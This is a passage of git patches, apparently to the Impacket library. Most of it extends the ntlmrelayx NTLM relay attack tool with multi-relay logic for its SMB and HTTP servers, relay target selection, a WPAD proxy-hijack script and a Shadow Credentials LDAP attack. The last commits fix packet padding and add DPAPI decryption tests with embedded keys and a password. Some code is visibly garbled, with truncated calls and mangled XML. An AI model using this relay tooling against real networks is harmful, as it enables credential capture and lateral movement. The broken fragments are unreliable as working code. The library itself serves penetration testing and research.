STATUS_BAD_NETWORK_NAME LOG.info("SMBD-%s: Received connection from %s, attacking target %s://%s" % (connId, connData['ClientIP'], self.target.scheme, self.target.netloc)) @@ -522,10 +530,9 @@ def SmbSessionSetupAndX(self, connId, smbServer, SMBCommand, recvPacket): ############################################################# # SMBRelay # Are we ready to relay or should we just do local auth? - if not self.config.disableMulti: - if 'relayToHost' not in connData: - # Just call the original SessionSetup - return self.origSmbSessionSetupAndX(connId, smbServer, SMBCommand, recvPacket) + if not self.config.disableMulti and 'relayToHost' not in connData: + # Just call the original SessionSetup + return self.origSmbSessionSetupAndX(connId, smbServer, SMBCommand, recvPacket) # We have confirmed we want to relay to the target host. respSMBCommand = smb.SMBCommand(smb.SMB.SMB_COM_SESSION_SETUP_ANDX) @@ -721,7 +728,8 @@ def SmbSessionSetupAndX(self, connId, smbServer, SMBCommand, recvPacket): # Done with the relay for now. connData['Authenticated'] = True - del(connData['relayToHost']) + if not self.config.disableMulti: + del(connData['relayToHost']) self.do_attack(client) # Now continue with the server ############################################################# diff --git a/impacket/examples/ntlmrelayx/utils/targetsutils.py b/impacket/examples/ntlmrelayx/utils/targetsutils.py index 88a5532e42..0047f5cf14 100644 --- a/impacket/examples/ntlmrelayx/utils/targetsutils.py +++ b/impacket/examples/ntlmrelayx/utils/targetsutils.py @@ -108,7 +108,7 @@ def logTarget(self, target, gotRelay = False, gotUsername = None): newTarget = urlparse('%s://%s@%s%s' % (target.scheme, gotUsername.replace('/','\\'), target.netloc, target.path)) self.finishedAttacks.append(newTarget) - def getTarget(self, identity=None): + def getTarget(self, identity=None, multiRelay=True): # ToDo: We should have another list of failed attempts (with user) and check that inside this method so we do not # retry those targets. if identity is not None and len(self.namedCandidates) > 0: @@ -137,6 +137,15 @@ def getTarget(self, identity=None): return target LOG.debug("No more targets for user %s" % identity) return None + # Multirelay feature is disabled, general candidates are attacked just one time + elif multiRelay == False: + for target in self.generalCandidates: + match = [x for x in self.finishedAttacks if x.hostname == target.netloc] + if len(match) == 0: + self.generalCandidates.remove(target) + return target + LOG.debug("No more targets") + return None else: return self.generalCandidates.pop() else: @@ -153,7 +162,7 @@ def getTarget(self, identity=None): LOG.debug("No more targets for user %s" % identity) return None else: - return self.getTarget(identity) + return self.getTarget(identity, multiRelay) class TargetsFileWatcher(Thread): def __init__(self,targetprocessor): diff --git a/impacket/smb.py b/impacket/smb.py index f17503a7f1..6a9299e15d 100644 --- a/impacket/smb.py +++ b/impacket/smb.py @@ -2096,7 +2096,7 @@ class SMBQueryInformationDiskResponse_Parameters(Structure): ############# SMB_COM_LOGOFF_ANDX (0x74) class SMBLogOffAndX(SMBAndXCommand_Parameters): - strucure = () + structure = () ############# SMB_COM_CLOSE (0x04) class SMBClose_Parameters(SMBCommand_Parameters): From c237962425efa0f7de270d607c5053b530c71fb0 Mon Sep 17 00:00:00 2001 From: 0xdeaddood Date: Wed, 30 Mar 2022 20:15:29 -0300 Subject: [PATCH 30/44] HTTP multi-relay Added multi-relay capabilities to the HTTP Relay Server --- .../ntlmrelayx/servers/httprelayserver.py | 434 ++++++++++-------- 1 file changed, 253 insertions(+), 181 deletions(-) diff --git a/impacket/examples/ntlmrelayx/servers/httprelayserver.py b/impacket/examples/ntlmrelayx/servers/httprelayserver.py index 651180e5dc..20aa5bf5c5 100644 --- a/impacket/examples/ntlmrelayx/servers/httprelayserver.py +++ b/impacket/examples/ntlmrelayx/servers/httprelayserver.py @@ -1,6 +1,6 @@ # Impacket - Collection of Python classes for working with network protocols. # -# SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved. +# SECUREAUTH LABS. Copyright (C) 2022 SecureAuth Corporation. All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file @@ -55,6 +55,7 @@ def __init__(self,request, client_address, server): self.machineHashes = None self.domainIp = None self.authUser = None + self.relayToHost = False self.wpad = 'function FindProxyForURL(url, host){if ((host == "localhost") || shExpMatch(host, "localhost.*") ||' \ '(host == "127.0.0.1")) return "DIRECT"; if (dnsDomainIs(host, "%s")) return "DIRECT"; ' \ 'return "PROXY %s:80; DIRECT";} ' @@ -62,11 +63,6 @@ def __init__(self,request, client_address, server): if self.server.config.target is None: # Reflection mode, defaults to SMB at the target, for now self.server.config.target = TargetsProcessor(singleTarget='SMB://%s:445/' % client_address[0]) - self.target = self.server.config.target.getTarget() - if self.target is None: - LOG.info("HTTPD: Received connection from %s, but there are no more targets left!" % client_address[0]) - return - LOG.info("HTTPD: Received connection from %s, attacking target %s://%s" % (client_address[0] ,self.target.scheme, self.target.netloc)) try: http.server.SimpleHTTPRequestHandler.__init__(self,request, client_address, server) except Exception as e: @@ -90,6 +86,22 @@ def send_error(self, code, message=None): return self.do_GET() return http.server.SimpleHTTPRequestHandler.send_error(self,code,message) + def send_not_found(self): + self.send_response(404) + self.send_header('WWW-Authenticate', 'NTLM') + self.send_header('Content-type', 'text/html') + self.send_header('Content-Length', '0') + self.send_header('Connection', 'close') + self.end_headers() + + def send_multi_status(self, content): + self.send_response(207, "Multi-Status") + self.send_header('Content-Type', 'application/xml') + self.send_header('Content-Length', str(len(content))) + self.send_header('Connection', 'close') + self.end_headers() + self.wfile.write(content) + def serve_wpad(self): wpadResponse = self.wpad % (self.server.config.wpad_host, self.server.config.wpad_host) self.send_response(200) @@ -121,6 +133,38 @@ def serve_image(self): self.end_headers() self.wfile.write(imgFile_data) + def strip_blob(self, proxy): + if PY2: + if proxy: + proxyAuthHeader = self.headers.getheader('Proxy-Authorization') + else: + autorizationHeader = self.headers.getheader('Authorization') + else: + if proxy: + proxyAuthHeader = self.headers.get('Proxy-Authorization') + else: + autorizationHeader = self.headers.get('Authorization') + + if (proxy and proxyAuthHeader is None) or (not proxy and autorizationHeader is None): + self.do_AUTHHEAD(message = b'NTLM',proxy=proxy) + messageType = 0 + token = None + else: + if proxy: + typeX = proxyAuthHeader + else: + typeX = autorizationHeader + try: + _, blob = typeX.split('NTLM') + token = base64.b64decode(blob.strip()) + except Exception: + LOG.debug("Exception:", exc_info=True) + self.do_AUTHHEAD(message = b'NTLM', proxy=proxy) + else: + messageType = struct.unpack('http://webdavrelay/file/2016-11-12T22:00:22ZaMon, 20 Mar 2017 00:00:22 GMT0HTTP/1.1 200 OK""" - messageType = 0 - if PY2: - autorizationHeader = self.headers.getheader('Authorization') - else: - autorizationHeader = self.headers.get('Authorization') - if autorizationHeader is None: - self.do_AUTHHEAD(message=b'NTLM') - pass - else: - typeX = autorizationHeader - try: - _, blob = typeX.split('NTLM') - token = base64.b64decode(blob.strip()) - except: - self.do_AUTHHEAD() - messageType = struct.unpack(' 4 and self.path[:4].lower() == 'http'): + if len(self.path) > 4 and self.path[:4].lower() == 'http': proxy = True else: proxy = False - if PY2: - proxyAuthHeader = self.headers.getheader('Proxy-Authorization') - autorizationHeader = self.headers.getheader('Authorization') - else: - proxyAuthHeader = self.headers.get('Proxy-Authorization') - autorizationHeader = self.headers.get('Authorization') + token, messageType = self.strip_blob(proxy) - if (proxy and proxyAuthHeader is None) or (not proxy and autorizationHeader is None): - self.do_AUTHHEAD(message = b'NTLM',proxy=proxy) - pass + # Should we relay or log-in locally? + if self.relayToHost is False and not self.server.config.disableMulti: + self.do_local_auth(messageType, token, proxy) + return else: - if proxy: - typeX = proxyAuthHeader - else: - typeX = autorizationHeader - try: - _, blob = typeX.split('NTLM') - token = base64.b64decode(blob.strip()) - except Exception: - LOG.debug("Exception:", exc_info=True) - self.do_AUTHHEAD(message = b'NTLM', proxy=proxy) - else: - messageType = struct.unpack(' Date: Wed, 30 Mar 2022 21:27:37 -0300 Subject: [PATCH 31/44] Fixed unclosing parentheses --- impacket/examples/ntlmrelayx/servers/httprelayserver.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/impacket/examples/ntlmrelayx/servers/httprelayserver.py b/impacket/examples/ntlmrelayx/servers/httprelayserver.py index 978f72e807..951450ff51 100644 --- a/impacket/examples/ntlmrelayx/servers/httprelayserver.py +++ b/impacket/examples/ntlmrelayx/servers/httprelayserver.py @@ -400,7 +400,7 @@ def do_relay(self, messageType, token, proxy, content = None): return else: LOG.error('HTTPD(%s): Negotiating NTLM with %s://%s failed. Skipping to next target' % ( - self.server.server_address[1], self.target.scheme, self.target.netloc) + self.server.server_address[1], self.target.scheme, self.target.netloc)) self.server.config.target.logTarget(self.target) self.do_REDIRECT() elif messageType == 3: From 6ff2a692ee219a00ecd0686bcda63ec0d7db3b7c Mon Sep 17 00:00:00 2001 From: 0xdeaddood Date: Thu, 31 Mar 2022 15:26:21 -0300 Subject: [PATCH 32/44] Removed example domain name --- impacket/examples/ntlmrelayx/attacks/ldapattack.py | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/impacket/examples/ntlmrelayx/attacks/ldapattack.py b/impacket/examples/ntlmrelayx/attacks/ldapattack.py index 0038787381..5f4de2591c 100644 --- a/impacket/examples/ntlmrelayx/attacks/ldapattack.py +++ b/impacket/examples/ntlmrelayx/attacks/ldapattack.py @@ -253,8 +253,7 @@ def shadowCredentialsAttack(self, domainDumper): # Get the domain we are in domaindn = domainDumper.root - # domain = re.sub(',DC=', '.', domaindn[domaindn.find('DC='):], flags=re.I)[3:] - domain = "DOMAIN.LOCAL" + domain = re.sub(',DC=', '.', domaindn[domaindn.find('DC='):], flags=re.I)[3:] # Get target computer DN result = self.getUserInfo(domainDumper, currentShadowCredentialsTarget) From eb2836630029321f04ae341dd3d1333512a3dce3 Mon Sep 17 00:00:00 2001 From: 0xdeaddood Date: Thu, 31 Mar 2022 22:49:42 -0300 Subject: [PATCH 33/44] Fixed get_padded_options in ImpactPacket.py It fixes #1285 --- impacket/ImpactPacket.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/impacket/ImpactPacket.py b/impacket/ImpactPacket.py index 24d356e80a..08a8250a64 100644 --- a/impacket/ImpactPacket.py +++ b/impacket/ImpactPacket.py @@ -1576,7 +1576,7 @@ def get_padded_options(self): op_buf += op.get_bytes() num_pad = (4 - (len(op_buf) % 4)) % 4 if num_pad: - array_frombytes(op_buf, "\0" * num_pad) + array_frombytes(op_buf, b"\0" * num_pad) return op_buf def __str__(self): From e868dba5bcb95b626268770dd9f6f8997d9907d9 Mon Sep 17 00:00:00 2001 From: Martin Gallo Date: Wed, 6 Apr 2022 13:52:38 -0700 Subject: [PATCH 34/44] DPAPI: Added some simple tests to blob decryption with and without entropy --- tests/misc/test_dpapi.py | 308 +++++++++++++++++++++++++-------------- 1 file changed, 201 insertions(+), 107 deletions(-) diff --git a/tests/misc/test_dpapi.py b/tests/misc/test_dpapi.py index 485bb5eafe..9e818cae8a 100755 --- a/tests/misc/test_dpapi.py +++ b/tests/misc/test_dpapi.py @@ -11,118 +11,171 @@ # MasterKey # Not yet: # +import os +import pytest import unittest from binascii import unhexlify -from impacket.dpapi import DPAPI_SYSTEM, MasterKeyFile, MasterKey, CredentialFile, DPAPI_BLOB,\ - CREDENTIAL_BLOB, VAULT_VPOL, VAULT_VPOL_KEYS, VAULT_VCRD, VAULT_KNOWN_SCHEMAS +from impacket.dpapi import (DPAPI_SYSTEM, MasterKeyFile, MasterKey, CredentialFile, DPAPI_BLOB, + CREDENTIAL_BLOB, VAULT_VPOL, VAULT_VPOL_KEYS, VAULT_VCRD, VAULT_KNOWN_SCHEMAS) from Cryptodome.Cipher import AES from Cryptodome.Hash import HMAC, MD4, SHA1 +def dpapi_protect(blob, entropy=None): + """Helper function to protect a blob of data using Windows' DPAPI via ctypes.""" + + if os.name != "nt": + raise Exception("DP API functions are only available in Windows") + + blob = bytes(blob) + entropy = bytes(entropy or b"") + + from ctypes import windll, byref, cdll, Structure, POINTER, c_char, c_buffer + from ctypes.wintypes import DWORD + + LocalFree = windll.kernel32.LocalFree + memcpy = cdll.msvcrt.memcpy + CryptProtectData = windll.crypt32.CryptProtectData + CRYPTPROTECT_UI_FORBIDDEN = 0x01 + + class DATA_BLOB(Structure): + _fields_ = [('cbData', DWORD), + ('pbData', POINTER(c_char)) + ] + + def parse_data(data): + cbData = int(data.cbData) + pbData = data.pbData + buffer = c_buffer(cbData) + memcpy(buffer, pbData, cbData) + LocalFree(pbData) + return buffer.raw + + buffer_in = c_buffer(blob, len(blob)) + buffer_entropy = c_buffer(entropy, len(entropy)) + blob_in = DATA_BLOB(len(blob), buffer_in) + blob_entropy = DATA_BLOB(len(entropy), buffer_entropy) + blob_out = DATA_BLOB() + + if CryptProtectData(byref(blob_in), None, byref(blob_entropy), None, None, + CRYPTPROTECT_UI_FORBIDDEN, byref(blob_out)): + return parse_data(blob_out) + + raise Exception("Unable to encrypt blob") + + class DPAPITests(unittest.TestCase): - def setUp(self): - self.machineKey = unhexlify('2bb2109db472825bfa7660fdbed62c981f08587b') - self.userKey = unhexlify('458dc597034d8801fc6fe3b342817caabb81a0cb') - self.sid = "S-1-5-21-1455520393-2011455520393-2019809541-4133251990-500" - self.password = "Admin456" - self.adminMasterKey = unhexlify('4c4a398169cc9ecc6eae0e1a70ba1dc58bfec785c4b35bd1afdf2aeb06753bca0ea3491989cb626990973f8370fd576a46c0ce2a85d995a01af6d727ff41969c') - self.adminMasterKeyFile = b'\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x003\x00a\x004\x003\x00a\x00c\x007' \ - b'\x001\x00-\x005\x002\x00d\x001\x00-\x004\x00b\x001\x005\x00-\x008\x004\x00c\x00b' \ - b'\x00-\x000\x001\x00a\x005\x00e\x007\x00f\x000\x006\x003\x005\x000\x00\x00\x00\x00' \ - b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x88\x00\x00\x00\x00\x00\x00\x00h\x00\x00\x00' \ - b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00t\x01\x00\x00\x00\x00\x00\x00\x02' \ - b'\x00\x00\x00\xd7\x086A\xa3\xfc\x10[\x87\x00\xea\xd0\x86S\x042\xc0]\x00\x00\t\x80' \ - b'\x00\x00\x03f\x00\x00!"}/=B\x08\xf9Q\xffW\xc0\xa0)\x16z\x15l\x1d\xe3\xf9\x17\xcd' \ - b'\x8elf\x98e\x9a\xcc}\xda\xb0\x11\x7fVWJ\xd3\x02\xael\x08\xf4\xach\x9c\xf9\xbbO' \ - b'\x13\x17\xe1P\xef\x99\xa8^\xae[8)\x12\x86\xf1B-\xdb\x8c\xaf\xa5@1\x90\xba\x1e' \ - b'\xd0E\x1b\xd0!C\xca\xcc\xc6h\x9a6\xe4B;\x8cM+\xd3\xd6R\xf5\xb5~\xd9\xc2\n\x9d\x02' \ - b'\x00\x00\x00\xc2\x9e\x93\xc9\xd7*\xd8\x04\xcd\x8d\xfcUAR\x01\x9d\xc0]\x00\x00\t' \ - b'\x80\x00\x00\x03f\x00\x00\xc2zU\xa7\'\xc6dj\xd8\x93\xb6\xac\xc0KQ\x8a\xea+>\xe0' \ - b'SK@\x8b\xcc\x8e-Ua1\x92\x87\x05\x12\x7f\xe4!\xe9\xa2\x01\x89\x91JD$\x9bS\xdd\x02' \ - b'\xba2%\xef3\t\x19Cu\x12S"\xd8Dr\xf4k\x809\xbc\xbaEJ\x02\x00\x00\x00\x00\x01\x00' \ - b'\x00X\x00\x00\x00\xe9\x99\xde\xe7\'K\xc0D\xa1\xbe\xf3\xf4=\xc8\xa8\x9f\x9bQ\x1d' \ - b'\x12I\xfd\xd6_\x8f9t\xc3\xfe<\x82\xa1%\x80\x8e\xaa5&\xd2\xa4\xedW\x8e\x17\x9b\xe0' \ - b'\xe5$}\x13;\x04\xea\xce\xc2\xd3(\xfa\x8f\x02\xcd\xf2\xfa=\xa2\xf9P\x07\xc6pa\x81' \ - b'\xd9y\xb1\x07Q\xcf\xb9\x160\x89\xf8\xad\xce\xc11\x10O\x1c\xfc\xd5\xb7.\xcd\x83\xe6' \ - b'\xb5\xb5:\xf4\xa3(\xd3\xc3\xa3\x1b\x1dU\xec\xd8Y\xdb\xad\xd58\x8b\xf2\xe3\xc7\xd1' \ - b'\r\xd5\x93\x97\xd4:r\x01\x8e\xf4b\x10\xed\x14h\x81\x9c>\x9b\x99\x1c\x0f\xaar\x05' \ - b'\xf7f_\x89e\xea\x80j\xcb\x92\xa3\xc3w\xc4\x1a\xed\xe9\xceu\x05\x87\xd2r\xda\xa3' \ - b'\x86\xd0\x8a\x9f\x81\xcde\xaf\xdc\x9a\x86$\xf7\xd7Eu\xc6W\xdam\x18\x8e\xc7wE4' \ - b'\x90wx&\x11/\xf3Rh\xf4\xb4=\xdd\xbe\xa4\xcbR\xf9\xf6\x15C\x02\xc90\x931\xefY$' \ - b'\x9aB\x94h4\x04\t\xb1Y\x83N\xd2\xd3\xa6|h\x04\xa4*sR\x9e\xd2pE\x1e\xc0b">\xdd\xc8' \ - b'\xef\x9cb\xf0jVP\x9aJA\x9b|\xdbx\xdd\xcbs\xd4\xdd\x95\x88\xd4\x87,LyMf\x9b\xdf' \ - b'\xb7\xc0\x0cJ52]\x8f=\x8eE\xe7\x93u\xe9\x18\xea%\xd7U\x17(0\xe4\x8c\xcb\xe1Q\xc7' \ - b'\xfa\xc3qX/.\xf0r\xd2\x9a\xb35\x8e\x18\xdb\x8e\x81\xc7x\xab\x81\xbd\xcf,\x1c\xc8x' \ - b'\x9d\xf2\x9c;\x01xo\x84\xfdx\xb4\x14G-\xd3o' - self.systemMasterKey = unhexlify('682a9b8923ff4ca7ce0ef7e4cee061f0ff942cd31c7703ec60792740b2e7d0b1b5115d1ff77e10b77e189e0d6e99d5b668190ecd44fa84e82e049f406e2c2a59') - self.systemMasterKeyFile = b"\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00e\x00a\x009\x005\x00e\x00b\x00a\x008" \ - b"\x00-\x00b\x00a\x000\x000\x00-\x004\x00e\x001\x00a\x00-\x00b\x004\x003\x00f\x00-\x005" \ - b"\x001\x00e\x00a\x003\x000\x001\x007\x001\x00d\x001\x001\x00\x00\x00\x00\x00\x00\x00" \ - b"\x00\x00\x06\x00\x00\x00\xb0\x00\x00\x00\x00\x00\x00\x00\x90\x00\x00\x00\x00\x00\x00" \ - b"\x00\x14\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00" \ - b"\xf4/a\xea\x0c\x96G\xbf@8\x19\x89\x84R\x08\x9f\xf8C\x00\x00\x0e\x80\x00\x00\x10f\x00" \ - b"\x00\xe2D\x1d\xec\x11\xa6\xb6\xf0?\xfe\xbb\xa1\xe7\x14s\xf7\x8d\xa4jR\xb1,\xaf\xf7" \ - b"\xdf\x99%\xedj\xc8\x9d\x84\x05\n\xd1\\\xfe\x88\xecP\xec\xe2\x01\xe5\xa8\x0e\xb1\x98" \ - b"\x90\x9f\xf8\xc7\x81Q\x0fx\x85\x9b\x96\xcf\xad\xe43\xc8:\x7f?\xc1\x99&\xb0(\x0ej\x19n" \ - b"\xf1\xb0\xb5\xe1\xb3\xc1\xabBa \xdaS\xf2NY\x89\xf8\xa7\xd3\xdd\xe8j\xc4D\x90\x14\x01" \ - b"\xa6\xdfd\x07\xf5P\xd1\x97\xff'\xc9\x1a\xbb\\3\x12P\xb5\xa7\xceX\xc1\xf6\x1f\xd0\xd6V6" \ - b"\r\xf5\x8eo[_\xaa\xc69f\x1a\xa8\x94\x02\x00\x00\x00\xbd\xc1\xf9Y#W5:*>\xbc\xf8\xce" \ - b"\xdcr\xbb\xf8C\x00\x00\x0e\x80\x00\x00\x10f\x00\x00\x121\xd6~\xc6\x89\xfe\xa9\xf6" \ - b"\xdek\xd6j!\xe2\x8dT\x05#-\xf7\x1d\xea\xe5\xbf:\xb6\xf3\xd3' \ - b'\x97\x01\xb0\xfa\xf2n\xa3\xd9U_\xd3n\xd4\x80\xa5\x13\xb9$\x13\xe2\x02\x97\xb0*\xd6\xcf' \ - b'\xa1\x1e\x19\xf1\x9c\xea.tq\xf3\xb4\x89*L\xd2\xd5\x91;D7\xbd\xf0\x1eF\x82\x13\xb9e\x9b' \ - b'\x9a\x86w0\xb2\xb7b\x8f\xb6\t\xbe\xfb>v\x9f\x89S\x10\xe3\xe7\x0f}:\xd3\xdd\xe3B\x18c' \ - b'\xf7\x85j\xe4\xfb4=\x1e\x18\x97\xa1,+i\xe5\x8b\xdfn8\xc5>\x9eysQe\x85\xfb\x0b\x01' \ - b'\xd8 \xb2\x81*\x8e\xcd \xafE\x9f\x8c\xcb\x97\x89\x96\x97\xdd\x14\x00\x00\x00\xb7\xe5%' \ - b'\xfdC*R\xf9\rd\x0b\x7f\xf0G\xe9C\xf3\xd3p\x8c' - - self.vpolFile = b"\x01\x00\x00\x00B\xc4\xf4K\x8a\x9b\xa0A\xb3\x80\xddJpM\xdb( \x00\x00\x00W\x00e\x00b\x00 " \ - b"\x00C\x00r\x00e\x00d\x00e\x00n\x00t\x00i\x00a\x00l\x00s\x00\x00\x00\x01\x00\x00\x00\x00\x00" \ - b"\x00\x00\x01\x00\x00\x00h\x01\x00\x00\x0b\xdas\xdd\x83\xfd\x12G\xaf\x8b\xd1S\xc7\x10\xc6\xb9" \ - b"\x0b\xdas\xdd\x83\xfd\x12G\xaf\x8b\xd1S\xc7\x10\xc6\xb9D\x01\x00\x00\x01\x00\x00\x00\xd0\x8c" \ - b"\x9d\xdf\x01\x15\xd1\x11\x8cz\x00\xc0O\xc2\x97\xeb\x01\x00\x00\x00Wc\xa0\t\xf5\xf3\xccJ\x9d" \ - b"\x08\xd8\x86Z\xad\xe4\xac\x00\x00\x00 \x00\x00\x00\x00\x10f\x00\x00\x00\x01\x00\x00 \x00\x00" \ - b"\x00\xe5\r@\x973M\xca\xdd\xb1\xca\x0cR\xb6\xaaO\xc5C\x91\x01\xd0l\xd6\x8f\xce1\xaf!\x17$L!" \ - b"\xc8\x00\x00\x00\x00\x0e\x80\x00\x00\x00\x02\x00\x00 \x00\x00\x00\xd2@h\x0e\x8e\xd9$V\xa8y" \ - b"\xf3\xbe\xbd\x85\x98\xb3\x1b&{\xed\xb3xx\xc6\xba\xc9\x8a\xc0s\xd4]\xeap\x00\x00\x00\x88}\x83" \ - b"\x18\xc6\xc6\x00\xbc\xfe\xeb\xc4\xcb\xde\xfei>\xabo\xba\xb8=\\\ns\xb5\xdb\x97\xb9ln8B\xd9" \ - b"\xc9\xd4:\x94\x9b7|\x94^\xda\x06\xe3\xdau\x0c\x02\x0c\x1bh\x8b\xac\xb8W#\x08\x0cm\xd5T+" \ - b"\xc0m!U\xd7f\x9aO\xf1\xc7\x8b\xd1\x9c\x8ak._g\x01P>\xd3\xd7'\xe8j\xc4\xe4\xc7\xe4f`x\xffA" \ - b"\x93#\xb5\x84\xbc\x17\x96\xa5e\xa0k\xd7p\xfc@\x00\x00\x00\xde\xb5&\xf7jZ\xac\x14Z\xd2\xb5" \ - b"\xc3\xc9\x046\xb1\xb9A-~\x17)\xe9\xdcb~\xf7J+\x15\xa8\xe7N\xc5\xe5\x0b\xe3\x86\xf8\x08\\]G" \ - b"\x9e;\x82\x9c\xa2\xf3\xf8s\xd9}\xdd\x00f\x97u\xe3\xeff\x05\xa4\x90\x00\x00\x00\x00" - - self.vcrdFile = b'\x99T\xcd<\xa8\x87\x10K\xa2\x15`\x88\x88\xdd;U\x04\x00\x00\x00\xa3\xcf\x10\xffWm\xd3\x01\xff' \ - b'\xff\xff\xff\x00\x02\x00\x00$\x00\x00\x00I\x00n\x00t\x00e\x00r\x00n\x00e\x00t\x00 \x00E\x00x' \ - b'\x00p\x00l\x00o\x00r\x00e\x00r\x00\x00\x000\x00\x00\x00\x01\x00\x00\x00\x80\x00\x00\x00M_{' \ - b'\x18\x02\x00\x00\x00\xb5\x00\x00\x00M_{\x18\x03\x00\x00\x00\xea\x00\x00\x00M_{\x18d\x00\x00' \ - b'\x00\x00\x01\x00\x00M_{\x18\x01\x00\x00\x00\x02\x00\x00\x00\x07\x00\x00\x00\n\x00\x00\x00!' \ - b'\x00\x00\x00\x00\x00e\x1c\x90\x18P\xab\xd0 0\xac!\xaf\x10\x81\xfe\xabAN#ga\xa9^I\x0e=\xffW' \ - b'\xd2\xdbt\x02\x00\x00\x00\x02\x00\x00\x00\x07\x00\x00\x00\n\x00\x00\x00!\x00\x00\x00\x00\x99' \ - b'|\xc9\x8b+\xd1\xbfF\xf2\xdd\xdd\xac\xa9\x80\xfd\x08x\x9d\xe6\xbe\x16&\xb0\'\x1ahQ\x08\x86-' \ - b'\xdc~\x03\x00\x00\x00\x00\x00\x00\x00\x07\x00\x00\x00\n\x00\x00\x00\x00\x00\x00\x00\x01\x00d' \ - b'\x00\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00\n\x00\x00\x00\x00\x00\x00\x00\xb5\x00\x00\x00' \ - b'\x01\x10\x00\x00\x00)\x87\xe8|\xe62\xc7\xcf\x98\xc9\xbd\xfb}"\xe4]8\x8a\x1cl\xb9\x1dP4\xc8' \ - b'\xdf\xe1\x8e#b\x91\xe3\xbe\xb2bA$,\xe9\xa1\xa6\x93\xff\t\x84+\xda\xff\x9f-\'\x96O\xb9\xe9' \ - b'\x15\x0f\xb8\xd4\xdbs\xa3\xb1Z\xfc\x90\x07\x01?DBQ\xd4\x1d_\x0eo?\xd3Z\xf1Z\xe7\xf8\xe4oL3' \ - b'\x91\xbbB%\xef\x0f\xaf\x03*\x99\xd6\xb6\xc8\xd9\x83+e\x8b\x02l\x9fl IJ\xe2\x89~a)E\x8fL\xe4' \ - b'\xfc\x9dC\x17\xb0\x14\xe9]H\xfd\x0e+:\xc5\xc7\xcb\x87\xd0S\x16\x1bu\xb4\xfc1\xce\xd8\xffb' \ - b'\x0e3\xbe|\xa3\xd7<\xd1:\xf1.PUr\xe8\xfdQ\x16\xe3\xa9\rt\x14\x04\xbb\x01\x00\x00\x00\x00' \ - b'\x00\x00\x00\x08\x00\x00\x00\x00\x00\x00\x00' + + machineKey = unhexlify('2bb2109db472825bfa7660fdbed62c981f08587b') + + userKey = unhexlify('458dc597034d8801fc6fe3b342817caabb81a0cb') + + sid = "S-1-5-21-1455520393-2011455520393-2019809541-4133251990-500" + + username = "david.bowie\x00" + password = "Admin456" + + adminMasterKey = unhexlify('4c4a398169cc9ecc6eae0e1a70ba1dc58bfec785c4b35bd1afdf2aeb06753bca0ea3491989cb626990973f8370fd576a46c0ce2a85d995a01af6d727ff41969c') + + adminMasterKeyFile = b'\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x003\x00a\x004\x003\x00a\x00c\x007' \ + b'\x001\x00-\x005\x002\x00d\x001\x00-\x004\x00b\x001\x005\x00-\x008\x004\x00c\x00b' \ + b'\x00-\x000\x001\x00a\x005\x00e\x007\x00f\x000\x006\x003\x005\x000\x00\x00\x00\x00' \ + b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x88\x00\x00\x00\x00\x00\x00\x00h\x00\x00\x00' \ + b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00t\x01\x00\x00\x00\x00\x00\x00\x02' \ + b'\x00\x00\x00\xd7\x086A\xa3\xfc\x10[\x87\x00\xea\xd0\x86S\x042\xc0]\x00\x00\t\x80' \ + b'\x00\x00\x03f\x00\x00!"}/=B\x08\xf9Q\xffW\xc0\xa0)\x16z\x15l\x1d\xe3\xf9\x17\xcd' \ + b'\x8elf\x98e\x9a\xcc}\xda\xb0\x11\x7fVWJ\xd3\x02\xael\x08\xf4\xach\x9c\xf9\xbbO' \ + b'\x13\x17\xe1P\xef\x99\xa8^\xae[8)\x12\x86\xf1B-\xdb\x8c\xaf\xa5@1\x90\xba\x1e' \ + b'\xd0E\x1b\xd0!C\xca\xcc\xc6h\x9a6\xe4B;\x8cM+\xd3\xd6R\xf5\xb5~\xd9\xc2\n\x9d\x02' \ + b'\x00\x00\x00\xc2\x9e\x93\xc9\xd7*\xd8\x04\xcd\x8d\xfcUAR\x01\x9d\xc0]\x00\x00\t' \ + b'\x80\x00\x00\x03f\x00\x00\xc2zU\xa7\'\xc6dj\xd8\x93\xb6\xac\xc0KQ\x8a\xea+>\xe0' \ + b'SK@\x8b\xcc\x8e-Ua1\x92\x87\x05\x12\x7f\xe4!\xe9\xa2\x01\x89\x91JD$\x9bS\xdd\x02' \ + b'\xba2%\xef3\t\x19Cu\x12S"\xd8Dr\xf4k\x809\xbc\xbaEJ\x02\x00\x00\x00\x00\x01\x00' \ + b'\x00X\x00\x00\x00\xe9\x99\xde\xe7\'K\xc0D\xa1\xbe\xf3\xf4=\xc8\xa8\x9f\x9bQ\x1d' \ + b'\x12I\xfd\xd6_\x8f9t\xc3\xfe<\x82\xa1%\x80\x8e\xaa5&\xd2\xa4\xedW\x8e\x17\x9b\xe0' \ + b'\xe5$}\x13;\x04\xea\xce\xc2\xd3(\xfa\x8f\x02\xcd\xf2\xfa=\xa2\xf9P\x07\xc6pa\x81' \ + b'\xd9y\xb1\x07Q\xcf\xb9\x160\x89\xf8\xad\xce\xc11\x10O\x1c\xfc\xd5\xb7.\xcd\x83\xe6' \ + b'\xb5\xb5:\xf4\xa3(\xd3\xc3\xa3\x1b\x1dU\xec\xd8Y\xdb\xad\xd58\x8b\xf2\xe3\xc7\xd1' \ + b'\r\xd5\x93\x97\xd4:r\x01\x8e\xf4b\x10\xed\x14h\x81\x9c>\x9b\x99\x1c\x0f\xaar\x05' \ + b'\xf7f_\x89e\xea\x80j\xcb\x92\xa3\xc3w\xc4\x1a\xed\xe9\xceu\x05\x87\xd2r\xda\xa3' \ + b'\x86\xd0\x8a\x9f\x81\xcde\xaf\xdc\x9a\x86$\xf7\xd7Eu\xc6W\xdam\x18\x8e\xc7wE4' \ + 